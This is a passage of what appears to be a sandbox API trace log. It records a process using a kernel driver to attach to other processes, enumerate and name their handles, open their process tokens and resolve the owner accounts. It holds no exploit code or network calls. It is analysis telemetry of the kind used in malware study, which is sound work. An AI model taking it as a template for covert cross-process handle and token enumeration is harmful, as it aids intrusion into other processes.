ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800252f250, ApcState=0xfffff880054f85d0) [0075.544] ObReferenceObjectByHandle (in: Handle=0x120, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80037ef140, HandleInformation=0x0) returned 0x0 [0075.545] ObfDereferenceObject (Object=0xfffffa80037ef140) returned 0x2 [0075.545] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.545] PsReleaseProcessExitSynchronization () returned 0x2 [0075.545] ObfDereferenceObject (Object=0xfffffa800252f250) returned 0x38 [0075.545] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.545] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.545] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.545] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0075.545] PsLookupProcessByProcessId (in: ProcessId=0x688, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.545] PsAcquireProcessExitSynchronization () returned 0x0 [0075.545] KeStackAttachProcess (in: PROCESS=0xfffffa800252f250, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800252f250, ApcState=0xfffff880054f85d0) [0075.545] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a003554060, HandleInformation=0x0) returned 0x0 [0075.545] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.545] PsReleaseProcessExitSynchronization () returned 0x2 [0075.545] ObfDereferenceObject (Object=0xfffffa800252f250) returned 0x38 [0075.545] ObQueryNameString (in: Object=0xfffff8a003554060, ObjectNameInfo=0xfffffa8003901044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003901044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.545] ObfDereferenceObject (Object=0xfffff8a003554060) returned 0x1 [0075.545] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.545] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.545] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.545] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x110, lpOverlapped=0x0) returned 1 [0075.545] PsLookupProcessByProcessId (in: ProcessId=0x688, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.545] PsAcquireProcessExitSynchronization () returned 0x0 [0075.545] KeStackAttachProcess (in: PROCESS=0xfffffa800252f250, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800252f250, ApcState=0xfffff880054f85d0) [0075.545] ObReferenceObjectByHandle (in: Handle=0x160, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80035fd4e0, HandleInformation=0x0) returned 0x0 [0075.545] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.545] PsReleaseProcessExitSynchronization () returned 0x2 [0075.545] ObfDereferenceObject (Object=0xfffffa800252f250) returned 0x38 [0075.545] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003903044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003903044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.545] ObfDereferenceObject (Object=0xfffffa80035fd4e0) returned 0x1 [0075.545] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.546] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.546] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xbb4) returned 0xc0 [0075.546] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0075.546] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8002550060, HandleInformation=0x0) returned 0x0 [0075.546] ObOpenObjectByPointer (in: Object=0xfffffa8002550060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0075.546] ObfDereferenceObject (Object=0xfffffa8002550060) returned 0x14 [0075.546] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa8003480780 | out: TokenHandle=0xfffffa8003480780*=0xc8) returned 0x0 [0075.546] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0075.546] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.546] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0075.546] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0075.547] CloseHandle (hObject=0xc8) returned 1 [0075.547] CloseHandle (hObject=0xc0) returned 1 [0075.547] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.547] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0075.547] PsLookupProcessByProcessId (in: ProcessId=0xbb4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.547] PsAcquireProcessExitSynchronization () returned 0x0 [0075.547] KeStackAttachProcess (in: PROCESS=0xfffffa8002550060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002550060, ApcState=0xfffff880054f85d0) [0075.547] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80024c3700, HandleInformation=0x0) returned 0x0 [0075.548] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.548] PsReleaseProcessExitSynchronization () returned 0x2 [0075.548] ObfDereferenceObject (Object=0xfffffa8002550060) returned 0x12 [0075.548] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003905044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003905044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.548] ObfDereferenceObject (Object=0xfffffa80024c3700) returned 0x1 [0075.548] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.548] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.548] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.548] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0075.548] PsLookupProcessByProcessId (in: ProcessId=0xbb4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.548] PsAcquireProcessExitSynchronization () returned 0x0 [0075.548] KeStackAttachProcess (in: PROCESS=0xfffffa8002550060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002550060, ApcState=0xfffff880054f85d0) [0075.548] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80024c33a0, HandleInformation=0x0) returned 0x0 [0075.548] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.548] PsReleaseProcessExitSynchronization () returned 0x2 [0075.548] ObfDereferenceObject (Object=0xfffffa8002550060) returned 0x12 [0075.548] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800398a044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800398a044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.548] ObfDereferenceObject (Object=0xfffffa80024c33a0) returned 0x1 [0075.548] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.548] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.548] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.548] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0075.548] PsLookupProcessByProcessId (in: ProcessId=0xbb4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.548] PsAcquireProcessExitSynchronization () returned 0x0 [0075.548] KeStackAttachProcess (in: PROCESS=0xfffffa8002550060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002550060, ApcState=0xfffff880054f85d0) [0075.548] ObReferenceObjectByHandle (in: Handle=0x74, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003645cd0, HandleInformation=0x0) returned 0x0 [0075.548] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.548] PsReleaseProcessExitSynchronization () returned 0x2 [0075.548] ObfDereferenceObject (Object=0xfffffa8002550060) returned 0x12 [0075.548] ObQueryNameString (in: Object=0xfffffa8003168830, ObjectNameInfo=0xfffffa800396c044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800396c044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.548] ObfDereferenceObject (Object=0xfffffa8003645cd0) returned 0x3 [0075.548] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.549] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.549] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.549] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x2e, lpOverlapped=0x0) returned 1 [0075.549] PsLookupProcessByProcessId (in: ProcessId=0xbb4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.549] PsAcquireProcessExitSynchronization () returned 0x0 [0075.549] KeStackAttachProcess (in: PROCESS=0xfffffa8002550060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002550060, ApcState=0xfffff880054f85d0) [0075.549] ObReferenceObjectByHandle (in: Handle=0x78, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003645e20, HandleInformation=0x0) returned 0x0 [0075.549] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.549] PsReleaseProcessExitSynchronization () returned 0x2 [0075.549] ObfDereferenceObject (Object=0xfffffa8002550060) returned 0x12 [0075.549] ObQueryNameString (in: Object=0xfffffa8003168830, ObjectNameInfo=0xfffffa80037b5684, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80037b5684, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.549] ObfDereferenceObject (Object=0xfffffa8003645e20) returned 0x1 [0075.549] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.549] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.549] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa3c) returned 0xc0 [0075.549] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0075.549] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8002545920, HandleInformation=0x0) returned 0x0 [0075.549] ObOpenObjectByPointer (in: Object=0xfffffa8002545920, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0075.549] ObfDereferenceObject (Object=0xfffffa8002545920) returned 0x29 [0075.549] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa8003480780 | out: TokenHandle=0xfffffa8003480780*=0xc8) returned 0x0 [0075.549] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0075.549] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.549] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0075.549] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0075.945] CloseHandle (hObject=0xc8) returned 1 [0075.945] CloseHandle (hObject=0xc0) returned 1 [0075.945] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.945] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0075.945] PsLookupProcessByProcessId (in: ProcessId=0xa3c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.945] PsAcquireProcessExitSynchronization () returned 0x0 [0075.945] KeStackAttachProcess (in: PROCESS=0xfffffa8002545920, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002545920, ApcState=0xfffff880054f85d0) [0075.945] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800261cf20, HandleInformation=0x0) returned 0x0 [0075.945] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.945] PsReleaseProcessExitSynchronization () returned 0x2 [0075.945] ObfDereferenceObject (Object=0xfffffa8002545920) returned 0x27 [0075.945] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a0b044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a0b044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.945] ObfDereferenceObject (Object=0xfffffa800261cf20) returned 0x1 [0075.945] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.945] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.945] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.945] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0075.945] PsLookupProcessByProcessId (in: ProcessId=0xa3c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.945] PsAcquireProcessExitSynchronization () returned 0x0 [0075.945] KeStackAttachProcess (in: PROCESS=0xfffffa8002545920, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002545920, ApcState=0xfffff880054f85d0) [0075.945] ObReferenceObjectByHandle (in: Handle=0x24, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800261de60, HandleInformation=0x0) returned 0x0 [0075.945] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.945] PsReleaseProcessExitSynchronization () returned 0x2 [0075.945] ObfDereferenceObject (Object=0xfffffa8002545920) returned 0x27 [0075.945] ObQueryNameString (in: Object=0xfffffa800261de60, ObjectNameInfo=0xfffffa8003a0e044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003a0e044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.945] ObfDereferenceObject (Object=0xfffffa800261de60) returned 0x1 [0075.946] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.946] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.946] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.946] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0075.946] PsLookupProcessByProcessId (in: ProcessId=0xa3c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.946] PsAcquireProcessExitSynchronization () returned 0x0 [0075.946] KeStackAttachProcess (in: PROCESS=0xfffffa8002545920, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002545920, ApcState=0xfffff880054f85d0) [0075.946] ObReferenceObjectByHandle (in: Handle=0x78, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0075.946] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.946] PsReleaseProcessExitSynchronization () returned 0x2 [0075.946] ObfDereferenceObject (Object=0xfffffa8002545920) returned 0x27 [0075.946] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80039a2044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039a2044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.946] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4f [0075.946] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.946] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.946] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.946] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0075.946] PsLookupProcessByProcessId (in: ProcessId=0xa3c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.946] PsAcquireProcessExitSynchronization () returned 0x0 [0075.946] KeStackAttachProcess (in: PROCESS=0xfffffa8002545920, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002545920, ApcState=0xfffff880054f85d0) [0075.946] ObReferenceObjectByHandle (in: Handle=0xa4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80028c7f20, HandleInformation=0x0) returned 0x0 [0075.946] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.946] PsReleaseProcessExitSynchronization () returned 0x2 [0075.946] ObfDereferenceObject (Object=0xfffffa8002545920) returned 0x27 [0075.946] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800391c044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800391c044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.946] ObfDereferenceObject (Object=0xfffffa80028c7f20) returned 0x1 [0075.946] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.946] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.946] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.947] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0075.947] PsLookupProcessByProcessId (in: ProcessId=0xa3c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.947] PsAcquireProcessExitSynchronization () returned 0x0 [0075.947] KeStackAttachProcess (in: PROCESS=0xfffffa8002545920, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002545920, ApcState=0xfffff880054f85d0) [0075.947] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a002397550, HandleInformation=0x0) returned 0x0 [0075.947] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.947] PsReleaseProcessExitSynchronization () returned 0x2 [0075.947] ObfDereferenceObject (Object=0xfffffa8002545920) returned 0x27 [0075.947] ObQueryNameString (in: Object=0xfffff8a002397550, ObjectNameInfo=0xfffffa80036c2044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80036c2044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.947] ObfDereferenceObject (Object=0xfffff8a002397550) returned 0x1 [0075.947] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.947] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.947] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.947] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0075.947] PsLookupProcessByProcessId (in: ProcessId=0xa3c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.947] PsAcquireProcessExitSynchronization () returned 0x0 [0075.947] KeStackAttachProcess (in: PROCESS=0xfffffa8002545920, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002545920, ApcState=0xfffff880054f85d0) [0075.947] ObReferenceObjectByHandle (in: Handle=0xac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80028c7870, HandleInformation=0x0) returned 0x0 [0075.947] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.947] PsReleaseProcessExitSynchronization () returned 0x2 [0075.947] ObfDereferenceObject (Object=0xfffffa8002545920) returned 0x27 [0075.947] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037cb044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80037cb044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.947] ObfDereferenceObject (Object=0xfffffa80028c7870) returned 0x1 [0075.947] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.947] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.947] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.947] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0075.947] PsLookupProcessByProcessId (in: ProcessId=0xa3c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.947] PsAcquireProcessExitSynchronization () returned 0x0 [0075.947] KeStackAttachProcess (in: PROCESS=0xfffffa8002545920, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002545920, ApcState=0xfffff880054f85d0) [0075.948] 